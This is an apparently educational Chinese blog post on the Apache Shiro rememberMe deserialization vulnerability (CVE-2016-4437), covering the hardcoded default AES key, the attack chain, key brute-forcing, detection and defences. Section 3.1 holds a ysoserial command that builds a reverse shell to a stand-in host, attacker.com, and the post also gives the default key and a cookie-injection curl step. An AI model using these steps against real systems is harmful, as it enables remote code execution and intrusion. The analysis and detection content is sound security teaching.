网络安全

Java 反序列化攻击面(三):Shiro 的 rememberMe 与"默认密钥"之罪

2026-08-19 #网络安全#Java#反序列化#漏洞分析#RCE#Shiro

一个”记住我”的贴心功能,因为一个硬编码的默认密钥,把全球无数 Java 应用的认证大门彻底打开。
攻击者不需要破解密码,只需要”知道那个密钥”——而那个密钥,早就公开在了互联网上。


引言:框架的”RememberMe”之罪

在 Java Web 开发中,Apache Shiro 是最流行的安全框架之一,负责认证、授权、会话管理。几乎每个”会做登录”的 Java 项目,都可能用到它。

而 Shiro 的反序列化漏洞,却来自一个最”贴心”的功能——“记住我(RememberMe)”:

Shiro 把用户身份序列化后加密,存进 Cookie。而这个加密用的 AES 密钥,早期版本是硬编码的默认值——并且早已被公开。

一句话定义它:

Shiro 的反序列化漏洞 = “默认密钥” + “自动反序列化 Cookie”,让攻击者可以伪造任意身份、执行任意代码。


一、rememberMe 机制:贴心功能如何变成后门?

1.1 “记住我”的正常流程

当用户勾选”记住我”登录后,Shiro 会:

1
2
3
4
5
6
7
8
9
登录成功
↓
将用户身份对象(Principal)序列化成字节流
↓
用 AES 加密字节流
↓
Base64 编码后,存入名为 rememberMe 的 Cookie
↓
下次请求:读取 Cookie → Base64 解码 → AES 解密 → 反序列化 → 恢复身份

1.2 两个致命问题

这个流程看似安全(有 AES 加密),但存在两个致命漏洞:

  1. 默认密钥:早期 Shiro 的 AES 密钥是硬编码的默认值 kPH+bIxk5D2deZiIxcaaaA==,且早已公开。
  2. 自动反序列化:Shiro 解密 Cookie 后,会自动反序列化其中的对象。
1
2
3
4
5
6
7
8
9
攻击者知道默认 AES 密钥
↓
用默认密钥加密一个"恶意序列化对象"
↓
Base64 编码后放入 rememberMe Cookie
↓
Shiro 用默认密钥解密 → 自动反序列化恶意对象
↓
触发 gadget 链 → RCE

关键点:攻击者不需要”破解”密钥,因为密钥本来就是公开的默认值。 这使 Shiro 的反序列化漏洞的利用门槛极低。


二、漏洞详情:CVE-2016-4437

2.1 漏洞概述

  • CVE 编号:CVE-2016-4437
  • 漏洞类型:默认 AES 密钥导致的 RememberMe 反序列化 RCE
  • 影响版本:Apache Shiro ≤ 1.2.4(默认密钥未更换时)
  • 利用前提:目标使用了默认的硬编码 AES 密钥

2.2 默认密钥的”公开化”

Shiro 早期版本中,加密密钥硬编码在源码里:

1
2
3
// Shiro 早期版本的默认密钥(已被公开,脱敏处理)
private static final byte[] DEFAULT_CIPHER_KEY =
Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); // 默认 AES 密钥

这个密钥在所有使用默认配置的 Shiro 应用中完全相同,且早已在互联网上广泛流传。


三、代码级攻击链:从 ysoserial 到 Shiro RCE

下面还原一条完整的 Shiro 攻击链(脱敏,仅供安全教育/授权测试):

3.1 第一步:生成恶意序列化对象

1
2
# 用 ysoserial 生成 Commons Collections 恶意序列化对象
java -jar ysoserial.jar CommonsCollections2 "bash -i >& /dev/tcp/attacker.com/4444 0>&1" > payload.bin

3.2 第二步:用默认密钥 AES 加密

1
2
3
# 概念示例:用 Shiro 默认密钥加密 payload(脱敏,仅供安全教育)
# 思路:使用 AES-CBC 模式 + 默认密钥 kPH+bIxk5D2deZiIxcaaaA== 加密 payload.bin
# 输出加密后的字节流
1
2
3
# 概念示例:构造 rememberMe Cookie 发送给目标(脱敏)
curl http://target.com/ \
-H "Cookie: rememberMe=<Base64编码的加密payload>"

3.4 第四步:获得 RCE

1
2
3
4
5
6
7
Shiro 读取 rememberMe Cookie
↓
Base64 解码 → 默认密钥 AES 解密
↓
反序列化恶意对象
↓
触发 Commons Collections gadget 链 → RCE

四、Shiro 漏洞的”变种”与”进阶”

4.1 无默认密钥时的密钥爆破

即使目标更换了默认密钥,攻击者仍有手段:

  • Shiro 的 rememberMe Cookie 前有一段固定的前缀(编码后可见)。
  • 攻击者利用这个特征,可以在线爆破 AES 密钥(字典攻击)。
1
2
3
4
5
6
7
攻击者收集目标的 rememberMe Cookie
↓
利用已知明文特征(Cookie 前缀)做已知明文攻击
↓
从常用密钥字典中爆破出 AES 密钥
↓
一旦爆破成功,后续攻击与默认密钥场景相同

4.2 不同 gadget 链的适配

Shiro 的反序列化能否利用,取决于目标 classpath 里的 gadget 库:

gadget 链 适用环境
Commons Collections 老项目常见
Commons Beanutils 需配合特定库
无依赖链(基于 JDK) 特定 JDK 版本

攻击者会先用探测判断目标是否存在 Shiro 反序列化点,再选择对应的 gadget 链。


五、Shiro 反序列化的特征与检测

5.1 识别 Shiro 应用

1
2
3
4
# 概念示例:通过 Cookie 特征识别 Shiro(脱敏)
# Shiro 应用通常会在响应头或 Cookie 中出现 rememberMe=deleteMe
curl -I http://target.com/ | grep -i "Set-Cookie"
# 若看到 rememberMe=deleteMe,说明存在 Shiro rememberMe 机制

5.2 检测维度

检测点 方法
响应中出现 rememberMe=deleteMe 指纹识别
请求 Cookie 中 rememberMe 值异常(超大、可解密) 流量分析
异常的 readObject / AES 解密调用 RASP
出站到反弹 shell 的连接 EDR / 网络监控

5.3 一个实用的检测命令

1
2
# 概念示例:检索 Web 日志中异常的 rememberMe 请求(脱敏)
grep -E "rememberMe=" /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn | head

六、防御:如何堵住 Shiro 的”默认密钥”漏洞?

6.1 核心防御(必须做)

  1. 更换默认 AES 密钥:
1
2
3
// 使用强随机密钥替换默认密钥(脱敏示例)
// 生成 128/192/256 位随机密钥,且不同应用使用不同密钥
byte[] key = generateRandomKey(); // 强随机生成,切勿硬编码
  1. 升级 Shiro 版本:升级到修复版本,并使用新的加密机制。
  2. 完整性校验(HMAC):对 Cookie 增加 HMAC 签名,防止伪造。

6.2 纵深防御

  1. 运行时防护(RASP):监控并阻断恶意反序列化。
  2. 依赖最小化:移除不需要的 gadget 库。
  3. 最小权限:应用以低权限运行,限制 RCE 后的杀伤面。
  4. 网络监控:监控异常的出站连接(反弹 shell)。

6.3 密钥管理的启示

Shiro 的教训是通用的:任何”硬编码的密钥”,无论是默认密码、默认 token、还是默认 API key,都等同于”公开的密钥”。 密钥管理的第一原则,是”每个部署实例使用独立、随机、受保护的密钥”。


六·补:一个真实世界的「Shiro 失守」复盘

光讲原理太抽象,我们把 Shiro 漏洞放到真实场景里走一遍,理解它为什么会成为「渗透测试里最常见的入口之一」:

  1. 发现目标:攻击者在信息收集阶段,随手访问目标站点,发现响应头里 Set-Cookie: rememberMe=deleteMe——这是 Shiro 未登录时的标志性特征,等于「自报家门」。
  2. 判断密钥:攻击者用 Shiro 默认密钥 kPH+bIxk5D2deZiIxcaaaA== 尝试解密自己构造的 Cookie,如果「签名校验通过」,说明目标还在用默认密钥。
  3. 选 gadget 链:探测目标 classpath 里有哪些库——有 Commons Collections 就用 CC 链,有 Commons Beanutils 就用 CB 链,什么依赖都没有就试 JDK 自带的链。
  4. 生成 payload:用 ysoserial 生成对应的恶意序列化对象,用默认密钥 AES 加密、Base64 编码,塞进 rememberMe Cookie。
  5. 拿到 RCE:请求一发,Shiro 解密、反序列化、触发 gadget,反弹 shell 到手。

这条链之所以「屡试不爽」,根源在于三个「默认」的叠加:默认密钥(没换)、默认机制(rememberMe 自动反序列化)、默认依赖(classpath 里的 gadget 库)。任何一个「默认」被打破,攻击就难一个数量级——这恰恰是防御的切入点。

为什么「换个密钥」并不能一劳永逸

很多开发者以为「把默认密钥换掉就安全了」,这是一个危险的错觉。原因有三:

  1. 密钥爆破依然可能:Shiro 的 rememberMe Cookie 有固定的明文特征(前缀),攻击者可以据此做「已知明文攻击」,从弱密钥字典里爆破出你的自定义密钥——如果密钥不够强、不够随机,照样被破。
  2. 反序列化本身的缺陷仍在:即使密钥固若金汤,只要 rememberMe 还走「解密 → 反序列化」,而 classpath 里还有 gadget 库,攻击者一旦拿到密钥,威胁依旧存在。
  3. 根本问题在「自动反序列化」:真正该做的,是从协议层面杜绝「反序列化不可信数据」,而不是只在「加密」这一层打补丁。

所以正确的防御是「三层叠加」:换强随机密钥(治标)+ 升级版本/关闭 rememberMe 反序列化(治本)+ 移除多余 gadget 库(减少攻击面)。

七、结语:默认值,是安全的大忌

Shiro 的反序列化漏洞,技术原理并不复杂,却影响了全球无数 Java 应用,根源只有一个:

一个硬编码的”默认密钥”,让”记住我”这个贴心功能,变成了攻击者的”万能钥匙”。

对开发者而言,Shiro 最深刻的教训是:安全系统的每一个”默认值”,都必须假设它已经被公开。 默认密码要改、默认密钥要换、默认配置要审查——因为攻击者,永远比你想的更早拿到这些”默认值”。


参考资料

  • Apache Shiro 关于 CVE-2016-4437 的官方公告
  • 关于 Shiro 默认密钥、密钥爆破的公开研究
  • ysoserial 项目及 Shiro 反序列化利用工具

本文基于公开资料整理撰写,仅供网络安全研究与教育目的使用,不构成任何安全或法律建议。


相关文章

本文是「Java 反序列化攻击面」系列的第三篇:


评论
分享

评论